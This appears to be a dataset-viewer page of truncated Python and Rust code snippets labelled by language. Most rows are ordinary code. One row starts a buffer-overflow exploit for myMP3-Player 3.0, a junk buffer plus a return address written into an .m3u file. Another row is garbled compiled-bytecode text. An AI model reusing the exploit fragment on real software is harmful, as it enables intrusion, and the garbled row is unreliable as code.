text string | label_name string | labels int64 |
|---|---|---|
#resumen = []
palabras = " "
#Captura del resumen
#palabras = input("Escriba su resumen No se sobre pase de las 50 palabras: ")
#resumen.append(palabras)
#print(resumen)
#lista = 'camilo el feo, del turno; del avion. picado'
#ingnorar
#resumenCorrecto = len(lista.split(','))
#print("Son " , str(resumenCorrecto), " ... | Python | 1 |
)
print(rel.insert_into("test_table3"))
# Inserting elements into table_3
print(conn.values([5, 'five']).insert_into("test_table3"))
rel_3 = conn.table("test_table3")
rel_3.insert([6, 'six'])
# create a SQL-accessible view of the relation
print(rel.create_view('test_view'))
# we can also directly run SQL queries on... | Python | 1 |
ress) -> Self {
mac_address.to_string().parse().unwrap()
}
}
impl From<bluez_async::AddressType> for AddressType {
fn from(address_type: bluez_async::AddressType) -> Self {
match address_type {
bluez_async::AddressType::Public => AddressType::Public,
bluez_async::Address... | Rust | 0 |
import numpy as np
import matplotlib.pyplot as plt
from scipy.stats import chi2_contingency
# Datos
# Filas: Disturbio (Sí, No), Columnas: Mosqueta (Presente, Ausente)
tabla = np.array([[15, 8], [10, 7]])
# Hipótesis
# H0: No hay asociación entre disturbio y presencia de rosa mosqueta
# H1: Hay asociación
alfa = 0.0... | Python | 1 |
from collections import Counter
from pathlib import Path
def parse_input(input_text: str) -> list[int]:
return [int(x) for x in input_text.strip().split()]
def transform_stone(stone: int) -> list[int]:
if stone == 0:
return [1]
stone_str = str(stone)
if len(stone_str) % 2 == 0:
mid ... | Python | 1 |
TransferCharacteristic::ST170M => write!(f, "SMPTE ST-170M"),
TransferCharacteristic::ST240M => write!(f, "SMPTE ST-240M"),
TransferCharacteristic::Linear => write!(f, "Linear"),
TransferCharacteristic::Logarithmic100 => write!(f, "Logarithmic 100:1 range"),
... | Rust | 0 |
ue) {
let exercises = config_content["exercises"].as_array_mut().unwrap();
let existing_exercise_index = exercises
.iter()
.position(|exercise| exercise["slug"] == exercise_name)
.unwrap();
let insert_index =
if exercises[existing_exercise_index]["difficulty"] == user_confi... | Rust | 0 |
terval
protocol = [start_lamb]
for t in range(max_iterations):
prev_lam = protocol[-1]
# can we directly jump to the end?
if distance_fxn(prev_lam, end_lamb) < target_distance:
break
# otherwise, binary search for next
next_lam = bisect(
f=lambd... | Python | 1 |
0, 43.0, 52.0));
let rgb = Rgb::from(&hsl);
assert_eq!(round_tuple(&rgb.as_ref().into()), (80, 185, 90));
let hsl_new = Hsl::from(&rgb);
assert!(hsl_new.approx_eq(&hsl));
// let x: ColorTuple = hsl.into();
// let y = Hsl::from(&x);
// println!("{:?}", x);
// println!("{:?}", y);
// let a = [1.0_f64, 1... | Rust | 0 |
# list + dict training
# first element is 'KEY', print the KEY, out put result
students = {
"Student 1": "Fantaria",
"Student 2": "Arivia",
"Student 3": "Destina"
}
print(students["Student 1"])
for student in students:
print(student)
for student in students:
print(student, students[student], sep... | Python | 1 |
y1,
0x770aae78, 0xf26f, 0x4dba, 0xa8, 0x29, 0x25, 0x3c, 0x83, 0xd1, 0xb3, 0x87);
define_guid!(IID_IDXGIAdapter1,
0x29038f61, 0x3839, 0x4626, 0x91, 0xfd, 0x08, 0x68, 0x79, 0x01, 0x1a, 0x05);
define_guid!(IID_IDXGIDevice1,
0x77db970f, 0x6276, 0x48ba, 0xba, 0x28, 0x07, 0x01, 0x43, 0xb4, 0x39, 0x2c);
// DXGI 1.2 GUIDs
... | Rust | 0 |
from IPython.display import HTML
from IPython.display import Javascript
def create_button():
input_form = """
<div style="background-color:gainsboro; width:600px; padding:20px;">
Continue running notebook with the given filtering parameters. <br>
<button onclick="execute()">Continue</button>
</div... | Python | 1 |
# Question 3 (a) - declare and initialize ArrayNodes[]
ArrayNodes = []
for i in range(20):
ArrayNodes.append([-1, -1, -1])
# Question 3 (b) - store data and initialize variables
ArrayNodes[0] = [1, 20, 5]
ArrayNodes[1] = [2, 15, -1]
ArrayNodes[2] = [-1, 3, 3]
ArrayNodes[3] = [-1, 9, 4]
ArrayNodes[4] = [-1, 10, -1]... | Python | 1 |
,Hash)]
pub enum Indexes {
__Null_by_none = 0
}
impl_trait_d3log!();
pub fn prog(__update_cb: std::sync::Arc<dyn program::RelationCallback>) -> program::Program {
let Edge = ::differential_datalog::program::Relation {
name: ::std::borrow::Cow::from("Edge @ scc.dl:1:1"),
input: true,
... | Rust | 0 |
self
}
/// Set custom error handler
pub fn error_handler<F>(mut self, f: F) -> Self
where
F: Fn(Error, &HttpRequest) -> actix_web::Error + 'static,
{
self.ehandler = Some(Rc::new(f));
self
}
}
impl Default for FormConfig {
fn default() -> Self {
Self ... | Rust | 0 |
#!/usr/bin/python -tt
# -*- coding: utf-8 -*-
import numpy as np
def quadratureRule(n, wfun=None, alpha=None, beta=None):
"""Quadrature rule"""
# bp = base points (abscissas)
# wf = weight factors
# n = number of base points (abscissas) (integrates a (2n-1)th order
if beta == None:
b... | Python | 1 |
import math
import os
import random
import re
import sys
if __name__ == '__main__':
N = int(input().strip())
res = []
pattern = re.compile(r'@gmail.com$')
for _ in range(N):
firstName, emailID = input().strip().split()
if pattern.search(emailID):
res.append(firstName)
... | Python | 1 |
erning permissions and
limitations under the License.
==============================================================================*/
use async_stream::try_stream;
use bytes::Bytes;
use futures_core::Stream;
use std::borrow::{Borrow, Cow};
use std::collections::HashMap;
use std::collections::HashSet;
use std::convert... | Rust | 0 |
_size(5, v, ::protobuf::wire_format::WireTypeVarint);
};
my_size += ::protobuf::rt::unknown_fields_size(self.get_unknown_fields());
self.cached_size.set(my_size);
my_size
}
fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream) -> ::protobuf::ProtobufResult... | Rust | 0 |
b goals: Vec<Lit>,
pub actions: Vec<ActionSchema>,
}
fn sv_to_lit(variable: &[SAtom], value: Atom, world: &World, _ctx: &Ctx) -> Result<Lit> {
let sv: Result<Vec<SymId>, _> = variable.iter().map(|satom| SymId::try_from(*satom)).collect();
let sv = sv?;
let sv_id = world
.sv_id(&sv)
.con... | Rust | 0 |
));
try!(encode_tag(buffer, &msg.tag));
encode_frame(buffer, &msg.frame)
}
// frame codec functions
/// Synchronously encode a `MessageFrame` to the `Write`
///
/// Convert the `FrameMessage` to a stream of bytes and write it too the `Write`
/// reference. If the `Write` blocks, this function blocks.
///
/// ... | Rust | 0 |
ed prompt with metadata.
Returns:
Tuple of (modified_prompt, detected_flags, processing_info)
"""
detected_flags = self.detect_flags(prompt)
if not detected_flags:
return prompt, [], {'action': 'none', 'reason': 'no_flags_detected'}
... | Python | 1 |
as e:
print(f"Error processing {target}-{benchmark}: {e}", file=sys.stderr)
continue
if not all_tests:
print("Error: No valid benchmark data found", file=sys.stderr)
sys.exit(1)
# Sort targets by width and tests for consistent output
targets = sort_targets_b... | Python | 1 |
multitask_map = {
'Never': 1,
'Rarely': 2,
'Sometimes': 3,
'Often': 4,
'Always': 5
}
self.clean_data['multitasking_score'] = self.clean_data['multitasking'].map(multitask_map)
# 8. Create derived variables
# Overall vu... | Python | 1 |
trim(), ""));
let root = build(&[file.deref()]);
apply(&mut [file.deref_mut()], &root);
println!("{:#?}", file.unit);
}
#[test]
fn test_simple() {
let content = r#"
class Number
end
def test(): Number
end
def main(): Number
test()
end
"#;
let mut file =... | Rust | 0 |
&'static [(&'static str, &'static str)]) -> Self {
Config {
params: Some(params),
..self
}
}
fn set_ratios(self, ratios: &'static [u32; 5]) -> Self {
Config {
ratios: Some(ratios),
..self
}
}
fn get_ratios(&self) -> &[u32... | Rust | 0 |
from tkinter import Tk, Label, Entry, Button, StringVar
from gui import calculate_net_salary_gui
def main():
root = Tk()
root.title("Salary Calculator")
# Create GUI components
Label(root, text="Gross Salary:").grid(row=0, column=0)
gross_salary_var = StringVar()
Entry(root, textvariable=gross... | Python | 1 |
import pytest
import torch
from espnet2.tts.feats_extract.dio import Dio
@pytest.mark.parametrize("use_continuous_f0", [False, True])
@pytest.mark.parametrize("use_log_f0", [False, True])
@pytest.mark.parametrize(
"use_token_averaged_f0, reduction_factor", [(False, 1), (True, 1), (True, 3)]
)
def test_forward(
... | Python | 1 |
cars:list[str] = ['bmw', 'audi', 'toyota', 'subaru']
print(cars)
cars.reverse()
print(cars) | Python | 1 |
mut W {
self.bit(true)
}
#[doc = r"Clears the field bit"]
#[inline(always)]
pub fn clear_bit(self) -> &'a mut W {
self.bit(false)
}
#[doc = r"Writes raw bits to the field"]
#[inline(always)]
pub fn bit(self, value: bool) -> &'a mut W {
self.w.bits = (self.w.bits ... | Rust | 0 |
Builder::new_default();
{
let mut response = message.init_root::<client_response::Builder>();
response.set_log_id(&lid.as_bytes());
response.init_transaction()
.set_failure(format!("{}", error).as_bytes());
}
Rc::new(message)
}
pub fn transaction_rollback(lid: LogId, ses... | Rust | 0 |
= cur_idx;
Some(inner.addrs[cur_idx])
}
fn all(&self) -> HashMap<u64, SocketAddr> {
self.clients.lock().unwrap().address_map.clone()
}
fn ids(&self) -> Vec<u64> {
self.clients
.lock()
.unwrap()
.address_map
.iter()
.m... | Rust | 0 |
dyn AbstractSquashBuffer>>>,
);
// must access these mutexes in order
static WORKER_TASK_QUEUE: Lazy<Mutex<MaybeTaskChannel>> = Lazy::new(|| Mutex::new((None, None)));
static TASK_ITEM_CHANNELS: Lazy<Mutex<TaskWaitChannels>> = Lazy::new(|| Mutex::new(vec![]));
static NETWORK_BUFFER_CHANNEL: Lazy<Mutex<MaybeBufferChanne... | Rust | 0 |
fn bit_is_set(&self) -> bool {
self.bit()
}
}
#[doc = "Values that can be written to the field `COMB_EV_MASK`"]
#[derive(Clone, Copy, Debug, PartialEq)]
pub enum COMB_EV_MASKW {
#[doc = "Use Channel 2 delayed event in combined event"]
CH2,
#[doc = "Use Channel 1 delayed event in combined event"... | Rust | 0 |
,
"llvm.hexagon.V6.lvsplatw.128B" => "__builtin_HEXAGON_V6_lvsplatw_128B",
"llvm.hexagon.V6.vabsdiffh" => "__builtin_HEXAGON_V6_vabsdiffh",
"llvm.hexagon.V6.vabsdiffh.128B" => "__builtin_HEXAGON_V6_vabsdiffh_128B",
"llvm.hexagon.V6.vabsdiffub" => "__builtin_HEXAGON_V6_vabsdiffub",
"llvm.hexagon.V6.v... | Rust | 0 |
from langchain_core.messages import HumanMessage, SystemMessage
from langchain_core.prompts.chat import (
ChatPromptTemplate,
HumanMessagePromptTemplate,
SystemMessagePromptTemplate,
)
# The {section} document should outline following points:
# {points}
# @st.cache
def prompt_builder_ai(section, clientOrg,... | Python | 1 |
#!/usr/bin/env python3
import pygame
# --- constants ---
WIDTH = 800
HEIGHT = 800
FPS = 25
BLACK = (0, 0, 0)
WHITE = (250, 250, 250)
BULLET_SPEED = 5
# --- classes ---
#empty
# --- functions ---
#empty
# --- main ---
# - init -
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
screen_rect = ... | Python | 1 |
from lib.array import product
from typing import Iterable
TEST_INPUT = """\
30373
25512
65332
33549
35390"""
Forest = list[list[int]]
def parse_input(input_string) -> Forest:
return [[int(n) for n in line] for line in input_string.split("\n")]
def walk(forest: Forest):
for i in range(len(forest)):
... | Python | 1 |
) as i32)),
0b1011110_000000000...0b1011110_111111111 => {
let regs = (bits(s32, 8, 1) << 15)
| bits(s32, 0, 8);
context.ldm(INST_WRITEBACK | INST_PUSHPOP, Register::SP, regs as u16)
},
0b10111110_00000000...0b10111110_11111111 =>
... | Rust | 0 |
# coding: utf-8
# Modified Work: Copyright (c) 2018, 2025, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE... | Python | 1 |
; 0],
}
pub type cudaStream_t = *mut CUstream_st;
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct CUevent_st {
_unused: [u8; 0],
}
pub type cudaEvent_t = *mut CUevent_st;
pub type cudaGraphicsResource_t = *mut cudaGraphicsResource;
pub use self::cudaOutputMode as cudaOutputMode_t;
#[repr(C)]
#[derive(Debug, Cop... | Rust | 0 |
e.encode(s));
i += 1;
}
}
}
}
impl<D: Decoder> Decodable<D> for TrieSet {
fn decode(d: &D) -> TrieSet {
do d.read_seq |len| {
let mut set = TrieSet::new();
for uint::range(0, len) |i| {
set.insert(d.read_seq_elt(i, || Decodable... | Rust | 0 |
math.sin(angle) * blast_speed
)
new_ball.old_position = new_ball.position - velocity * FIXED_DT
csv_lines.append(
f"{self.current_step},{new_ball.position.x},{new_ball.position.y},"
f"{new_ball.rad... | Python | 1 |
rmat!("{}({})", verb_parse(&units[cnt+1]), value_parse(&list[..cnt].to_vec().join(" "), 1)?);
}
}
Ok(())
})?;
}
else if level == 15 {
if regi(&units[units.len()-2], r"^(in)$") {
do_pass = false;
ret = format!("{}::{}", &units[units.... | Rust | 0 |
g)]
enum Command {
FORWARD(u32),
DOWN(u32),
UP(u32),
}
impl FromStr for Command {
type Err = ParseIntError;
fn from_str(s: &str) -> Result<Self, Self::Err> {
let (dir, units) = s.trim().split(' ').collect_tuple().unwrap();
let units: u32 = units.parse()?;
match dir {
... | Rust | 0 |
::var("SLACK_CLIENT_SECRET").expect("SLACK_CLIENT_SECRET should be set");
let redirect_uri = env::var("SLACK_REDIRECT_URI").expect("SLACK_REDIRECT_URI should be set");
Slack::new(client_id, client_secret, workspace_id, redirect_uri, token, user_token)
}
fn request<B>(
&self,
to... | Rust | 0 |
dialog_name}_history.json'
elif sys.platform == "darwin":
history_file = Path.home() / 'Library' / 'Application Support' / 'ImageAI' / f'{self.dialog_name}_history.json'
else:
history_file = Path.home() / '.config' / 'ImageAI' / f'{self.dialog_name}_history.json'
if hist... | Python | 1 |
d-start))
wrong_bf=[]
correct_bf=[]
start=time.time()
for i in range(0,num):
if (i%1000==0):
print("无枢轴计算次数:",i)
for j in range(0,num):
ans=dice(bf[i],bf2[j])
if ans>t:
for k in range(0,num):
... | Python | 1 |
.collect();
}
impl KeyValue {
fn parse_from_string(s: &str) -> KeyValue {
assert!(!s.is_empty());
let pair = s.split(":")
// .inspect(|x| println!("Before map: {}", x))
.collect::<Vec<&str>>();
assert_eq!(pair.len(), 2);
let k = String::from(pair[... | Rust | 0 |
current directory to {:?}", path);
std::env::set_current_dir(path)?;
}
// Bind & start our server
let key = if cmd.key_from_stdin {
let mut buf = [0u8; 32];
let n = io::stdin().read_exact(&mut buf).await?;
if n < buf.len() {
return Err(Error::BadKey);
}
... | Rust | 0 |
fn main() {
let args: Vec<String> = env::args().collect();
match args.len() {
1 => help(),
2 => match args[1].as_str() {
"list" => list(),
_ => help(),
},
3 => match args[1].as_str() {
"generate" => generate(args[2].clone()),
_ => ... | Rust | 0 |
import pygame as pg
KEY_UNKNOWN = pg.K_UNKNOWN
KEY_RETURN = pg.K_RETURN
KEY_ESCAPE = pg.K_ESCAPE
KEY_BACKSPACE = pg.K_BACKSPACE
KEY_TAB = pg.K_TAB
KEY_SPACE = pg.K_SPACE
KEY_EXCLAIM = pg.K_EXCLAIM
KEY_QUOTEDBL = pg.K_QUOTEDBL
KEY_HASH = pg.K_HASH
KEY_PERCENT = pg.K_PERCENT
KEY_DOLLAR = pg.K_DOLLAR
KEY_AMPERSAND = pg.K... | Python | 1 |
t_1, llm_engine=fake_react_code_llm)
assert len(agent.toolbox.tools) == 1 # contains only final_answer tool
toolset_2 = [PythonInterpreterTool(), PythonInterpreterTool()]
agent = ReactCodeAgent(tools=toolset_2, llm_engine=fake_react_code_llm)
assert len(agent.toolbox.tools) == 2 # add... | Python | 1 |
let mut hash_input = Vec::new();
hash_input.extend_from_slice(&counter_nonce.to_be_bytes()[..]);
//TODO: Should use CanonicalSerialize instead of ToBytes
hash_input.extend_from_slice(&to_bytes![
transcript, com_1.0, ... | Rust | 0 |
)
{
Ok(value) => Ok(yattag::PyDoc { doc: value }),
Err(err) => Err(pyo3::exceptions::PyOSError::new_err(format!("{:?}", err))),
}
}
/// Gets the cached HTML of the additional housenumbers for a relation.
pub fn get_additional_housenumbers_html(
ctx: &context::Context,
relation: &mut are... | Rust | 0 |
# Copyright (c) 2024, Nirali and contributors
# For license information, please see license.txt
# import frappe
from frappe.model.document import Document
class EmployeeRelations(Document):
pass
| Python | 1 |
@try_export
def export_onnx(model, im, file, opset, dynamic, simplify,
no_post_processing=False, prefix=colorstr('ONNX:')):
check_requirements('onnx>=1.12.0')
import onnx
LOGGER.info(f'\n{prefix} starting export with onnx {onnx.__version__}...')
f = file.with_suffix('.onnx')
output_names = ['out... | Python | 1 |
/ https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governi... | Rust | 0 |
lete_collection(collection_name)
if inspect.isawaitable(embedding_dimension):
dimension = await embedding_dimension
else:
dimension = embedding_dimension
await async_astra_db.create_collection(
collection_name, d... | Python | 1 |
)
return (
plot_letsplot(
df=df_plot,
x="random_rate",
y="lift",
charts=[letsplot_line(group="Note")]
)
+ lp.scale_linetype_manual(
{
"positive": "solid",
"negative": "solid",
"bas... | Python | 1 |
t_marker('skip_panda_types')
if mark:
assert len(mark.args) > 0, "Missing panda types argument in mark"
skip_types = mark.args[0]
if _all_pandas[p.get_usb_serial()] in skip_types:
pytest.skip(f"Not applicable to {skip_types}")
# TODO: reset is slow (2+ seconds)
p.reset()
logs = p.get_logs()
... | Python | 1 |
name_id::POST_SCRIPT_NAME)
.and_then(|name| name.to_string());
println!("Family name: {:?}", family_name);
println!("PostScript name: {:?}", post_script_name);
println!("Units per EM: {:?}", face.units_per_em());
println!("Ascender: {}", face.ascender());
println!("D... | Rust | 0 |
ue
}
// Not leaf yet
if pte & (PTE_R | PTE_W | PTE_X) == 0 {
continue;
}
// Check for misaligned huge page
if ppn & ((1 << bits_left) - 1) != 0 {
return PageWalkResult::invalid();
}
if global {
pte |= PTE_G;
}... | Rust | 0 |
derive(Clone)]
pub struct Painter<'a> {
#[doc(hidden)]
pub data: Rc<Cell<Option<*const RUBase>>>,
#[doc(hidden)]
pub all_funcs: *const RUPainterAllFuncs,
#[doc(hidden)]
pub owned: bool,
#[doc(hidden)]
pub _marker: PhantomData<::std::cell::Cell<&'a ()>>,
}
impl<'a> Painter<'a> {
pub ... | Rust | 0 |
template_cu_file.write(gemm_template_cu_head)
template_cu_file.write(
gemm_template_cu_template.format(
M=case[0],
K=case[1],
N=n,
BATCH=case[2],
TYPE=type,
PADDING=case[3]... | Python | 1 |
err(),
);
SecretFloat { param: result }
}
}
impl<'a, const V: u64, const P: u64, const KAPPA: u64, const DETECT_OVERFLOW: bool>
Add<&'a SecretFloat<V, P, KAPPA, DETECT_OVERFLOW>>
for &'a SecretFloat<V, P, KAPPA, DETECT_OVERFLOW>
where
ConstU64<{ P + 1 }>: ,
ConstU64<{ V + 1 }>: ,
... | Rust | 0 |
ANNEL_ENTRY_POINTS {}
#[cfg(feature = "Win32_Foundation")]
impl ::core::clone::Clone for CHANNEL_ENTRY_POINTS {
fn clone(&self) -> Self {
*self
}
}
#[doc = "*Required features: 'Win32_System_RemoteDesktop'*"]
pub const CHANNEL_EVENT_CONNECTED: u32 = 1u32;
#[doc = "*Required features: 'Win32_System_Remot... | Rust | 0 |
pureshift 1H : x{4*ver_scale}')
ax.fill_between(freqs,(3*scaling)+(ver_scale*(pred+pred_low)), (3*scaling)+(ver_scale*(pred+pred_up)), color = 'black', alpha=0.6, lw=linewidth)
else:
ax.plot(freqs, 4*ver_scale*conv, lw=linewidth, color='blue', label = f'Conventional 1H : x{4*4*ver_scale}')
ax.fil... | Python | 1 |
main).await?;
let mut buf = BytesMut::new();
let password = <PASSWORD>(self.password.as_bytes());
let password = hex::encode(&password[..]);
buf.put_slice(password.as_bytes());
buf.put_slice(b"\r\n");
... | Rust | 0 |
.filter(|artifact| local_pkg_ids.contains(&artifact.package_id))
.filter_map(|artifact| artifact.executable)
.collect()
}
fn generate_velf(out_dir: &Utf8Path, stem: &str) -> Utf8PathBuf {
let elf = out_dir.join(format!("{}.elf", stem));
let output = out_dir.join(format!("{}.velf", stem));
... | Rust | 0 |
ates through this matrix coordinates in column-major order.
///
/// # Examples:
///
/// ```
/// # use nalgebra::Matrix2x3;
/// let mat = Matrix2x3::new(11, 12, 13,
/// 21, 22, 23);
/// let mut it = mat.iter();
/// assert_eq!(*it.next().unwrap(), 11);
/// ... | Rust | 0 |
from src.util.mechanics.units.unit import Unit
class Joule(Unit):
"""
Represents energy in the SI system.
"""
def __init__(self, value: float):
super().__init__(value, "kilogram*meter**2/second**2")
| Python | 1 |
raise NotImplementedError
@override
def count_collections(
self,
tenant: str = DEFAULT_TENANT,
database: Optional[str] = None,
) -> int:
"""Gets the number of collections for the (tenant, database) combination."""
# TODO(Sanket): Implement this efficiently using a ... | Python | 1 |
rds.
pub type Error = argon2::Error;
/// Generates a salt to be used for password hashing.
pub fn generate_salt() -> [u8; 32] {
rand::rngs::OsRng::default().gen()
}
/// Hashes a password together with a salt.
pub fn password_hash(password: &[u8], salt: &[u8]) -> Result<Vec<u8>, Error> {
argon2::hash_raw(passw... | Rust | 0 |
# Exploit Title: myMP3-Player 3.0 (NOT SEH Overwrite)
# Date: 8 / 8 / 2010
# Author: Oh Yaw Theng
# Software Link: http://www.chip.de/downloads/myMP3-Player-3.0_13008621.html
# Version: 3.0
# Tested on: Windows XP SP 2
# CVE : N / A
#!/usr/bin/python
filename = "crash.m3u"
junk = "\x41" * 1024
ret = "\x65\x82\xA5\... | Python | 1 |
/// dimensions written to non-NULL y/x!
///
/// *Method: Nc.[stddim_yx()][Nc#method.stddim_yx].*
#[inline]
pub fn notcurses_stddim_yx<'a>(
nc: &'a mut Nc,
y: &mut u32,
x: &mut u32,
) -> NcResult<&'a mut NcPlane> {
unsafe {
let sp = c_api::notcurses_stdplane(nc);
if !sp.is_null() {
... | Rust | 0 |
print("Calculadora de IMC")
peso = int(input("Qual o seu peso?(Em kg)\n"))
altura = float(input("Qual a sua altura?(Em m)\n"))
imc = peso / altura ** 2
print(f"Seu IMC é: {imc}")
| Python | 1 |
xtIterator( R6 ( ( s8 /home/benjamin/tmp/Week8-UniDB/modules/jinja2/runtime.pyt __iter__> s c C s* y t | j SWn t k
r% t SXd S( N( t nextR R[ R ( R6 ( ( s8 /home/benjamin/tmp/Week8-UniDB/modules/jinja2/runtime.pyR A s
c ... | Python | 1 |
from typing import Callable, TYPE_CHECKING
from langchain_core.tools import tool
from langchain_tavily import TavilySearch
from ibm_cloud_sdk_core.authenticators import BearerTokenAuthenticator
from ibm_secrets_manager_sdk.secrets_manager_v2 import SecretsManagerV2
if TYPE_CHECKING:
from ibm_watsonx_ai import API... | Python | 1 |
else:
vocab_file = vocab_path
with open(vocab_file, "w", encoding="utf-8") as writer:
for token, token_index in sorted(self.vocab.items(), key=lambda kv: kv[1]):
if index != token_index:
logger.warning(
"Saving vocabulary to {}:... | Python | 1 |
&"start" {
continue;
}
if itr_to.chars().all(|temp_char| char::is_ascii_lowercase(&temp_char)) {
if cave_walked.contains(&itr_to) {
match cave_stage {
&Double::No => {continue},
&Double::Yes => {
let mut cave_walkedcopy = cave_walked.clone();
cave_walkedcopy.push(itr_to);
walk... | Rust | 0 |
ption errors to avoid oracles
decrypt(*cipher, key, Some(&iv), &wrapped_data).map_err(|_| anyhow!("Failed to decrypt"))
}
}
impl OfflineSevKbc {
#[allow(clippy::new_without_default)]
pub fn new() -> OfflineSevKbc {
OfflineSevKbc {
kbs_info: HashMap::new(),
keys: load... | Rust | 0 |
def convert_to_optical_densities(rgb,r0,g0,b0):
OD = rgb.astype(float)
OD[:,:,0] /= r0
OD[:,:,1] /= g0
OD[:,:,2] /= b0
return -np.log(OD)
def color_deconvolution(rgb,r0,g0,b0,verbose=False):
stain_OD = np.asarray([[0.18,0.20,0.08],[0.01,0.13,0.0166],[0.10,0.21,0.29]]) #hematoxylin, eosyn, DAB
... | Python | 1 |
)?;
// allocate the thread control block
let (tcb_slots, _slots) = misc_slots.alloc();
let mut tcb = tcb_ut.retype(tcb_slots)?;
tcb.configure(
cspace,
fault_source,
vspace.root(),
Some(ipc_buffer.to_page()),
)?;
// R... | Rust | 0 |
curly_brace(toks)?,
scope,
super_selector,
i.span,
)?;
let iter = match iter_val.node.eval(iter_val.span)?.node {
Value::List(v, ..) => v,
Value::Map(m) => m
.into_iter()
.map(|(k, v)| Value::List(vec![k, v], ListSeparator::Space, Brackets::None))
... | Rust | 0 |
size = int(input())
car_number = input()
car_route = []
distance = 0
finish = False
car_pos = [0, 0]
tunnel_01_pos = []
tunnel_02_pos = []
for row in range(size):
car_route.append(input().split())
if "T" in car_route[row]:
if not tunnel_01_pos:
tunnel_01_pos = [row, car_route[row].inde... | Python | 1 |
ark.unit
def test_ensure_trace_dir_with_fsspec(tmp_path):
"""Test that ensure_trace_dir uses fsspec."""
with patch.dict("os.environ", {"TRAINLOOP_DATA_FOLDER": str(tmp_path)}):
mock_fs = Mock()
mock_open_spec = Mock()
mock_open_spec.fs = mock_fs
with patch("fsspec.open") as mock... | Python | 1 |
ptiveBrightness {
/// Off
Off = 0x00,
/// User Interface Mode
UserInterface = 0x01,
/// Still Picture Mode
StillPicture = 0x02,
/// Moving Image Mode
MovingImage = 0x03,
}
#[derive(Copy, Clone)]
pub enum Inversion {
OneDot = 0x00,
TwoDot = 0x01,
Column = 0x07,
}
#[derive(Co... | Rust | 0 |
use ::serde_json;
pub use ::thiserror;
pub use ::tokio;
pub use ::url2;
}
/// Typedef for result of `proc_count_now()`.
/// This value is on the scale of microseconds.
pub type ProcCountMicros = i64;
/// Monotonically nondecreasing process tick count, backed by tokio::time::Instant
/// as an i64 to facili... | Rust | 0 |
_idx + dst_pitch] = if d == b && e != g || d == b && e != a {
d
} else {
e
};
dst[dst_idx + dst_pitch + 1] = e;
dst[dst_idx + dst_pitch + 2] = if b == f && e != i || h == f && e != c {
f
... | Rust | 0 |
space if any of the following criteria are met:
/// - Current directory contains a `.terraform` directory
/// - Current directory contains a file with the `.tf` extension
pub fn module<'a>(context: &'a Context) -> Option<Module<'a>> {
let is_terraform_project = context
.try_begin_scan()?
.se... | Rust | 0 |
roles(&self) -> &Vec<String> {
&self.claims.additional_claims().roles
}
pub fn scopes(&self) -> Vec<&str> {
self.claims.additional_claims().scp.split(" ").collect()
}
pub fn email(&self) -> &str {
&self.claims.additional_claims().unique_name
}
fn bearer_token_from_requ... | Rust | 0 |
from mistletoe import HtmlRenderer
from pygments import highlight
from pygments.formatters.html import HtmlFormatter
from pygments.lexers import get_lexer_by_name as get_lexer, guess_lexer
from pygments.styles import get_style_by_name as get_style
from pygments.util import ClassNotFound
class PygmentsRenderer(HtmlRen... | Python | 1 |
/// Create new pool with arguments
async fn create_pool(&self, args: CreatePool) -> ClientResult<Pool>;
/// Destroy pool with arguments
async fn destroy_pool(&self, args: DestroyPool) -> ClientResult<()>;
/// Get all the known replicas
async fn get_replicas(&self, filter: Filter) -> ClientResul... | Rust | 0 |
p('\n')
session_score = int(file_score) / int(file_question)
scores_list.append(session_score)
file_score = read_scores_file.readline()
except FileNotFoundError:
print("No scores found. Please take a quiz first.")
return []
return scores_list
... | Python | 1 |
rgets[0]], None)
)
qc_temp.gates.append(
Gate(
"RX",
gate.controls,
None,
arg_value=np.pi,
arg_label=r"\pi",
)
)
qc_temp.gates.append(
... | Python | 1 |
com/coco-rs/coco.fixtures");
assert_eq!("coco.fixtures.json", string);
}
#[test]
fn url_to_path() {
let string = uri_to_path("http://github.com/coco-rs/coco.fixtures");
assert_eq!(
".coco/github.com/coco-rs/coco.fixtures",
string.to_str().unwrap()
);
... | Rust | 0 |
Id::BTC, &ALICE, b).unwrap();
let seller = AccountId::from_raw(ALICE.0);
let buyer = AccountId::from_raw(BOB.0);
let sell_amount = 3;
let take_amount = 1000;
let configuration = TimeReleaseFunction::LinearDecrease(LinearDecrease { total: 42 });
let sell = Sell::new(CurrencyId::BTC, CurrencyId::USDT, sell_a... | Rust | 0 |
<LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.
#![allow(non_snake_case)]
register_long_diagnostics! {
E0001: r##"
This error suggests that the expression arm corresponding to the noted pattern
... | Rust | 0 |
import os
import shutil
def get_place_idx(image_name):
"""Extract place index from the image name in format 'placeidx_idx'."""
return int(image_name.split('_')[0])
def rename_and_copy_images(src_folder, dst_folder, place_offset=0):
"""Rename images in the source folder and copy them to the destination fol... | Python | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.